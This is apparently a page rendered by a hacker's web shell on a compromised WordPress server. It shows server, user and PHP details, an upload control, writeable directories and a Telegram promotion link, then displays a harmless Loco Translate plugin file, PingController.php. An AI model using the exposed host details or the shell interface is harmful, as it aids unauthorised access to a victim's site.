https://t.me/ARX49
Server : LiteSpeed
System : Linux server321.web-hosting.com 4.18.0-513.18.1.lve.el8.x86_64 #1 SMP Thu Feb 22 12:55:50 UTC 2024 x86_64
User : apotdzgr ( 7060)
PHP Version : 8.0.30
Disable Function : NONE
Directory :  /home/apotdzgr/public_html/wp-content/plugins/loco-translate/src/ajax/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/apotdzgr/public_html/wp-content/plugins/loco-translate/src/ajax/PingController.php
<?php
/**
 * Ajax "ping" route, for testing Ajax responses are working.
 */
class Loco_ajax_PingController extends Loco_mvc_AjaxController {
    
    
    /**
     * {@inheritdoc}
     */
    public function render(){
        $post = $this->validate();
        // echo back bytes posted
        if( $post->has('echo') ){
            $this->set( 'ping', $post['echo'] );
        }
        // else just send pong
        else {
            $this->set( 'ping', 'pong' );
        }
        // always send tick symbol to check json serializing of unicode
        $this->set( 'utf8', "\xE2\x9C\x93" );

        return parent::render();
    }
    
    
}

https://t.me/ARX49 - 2025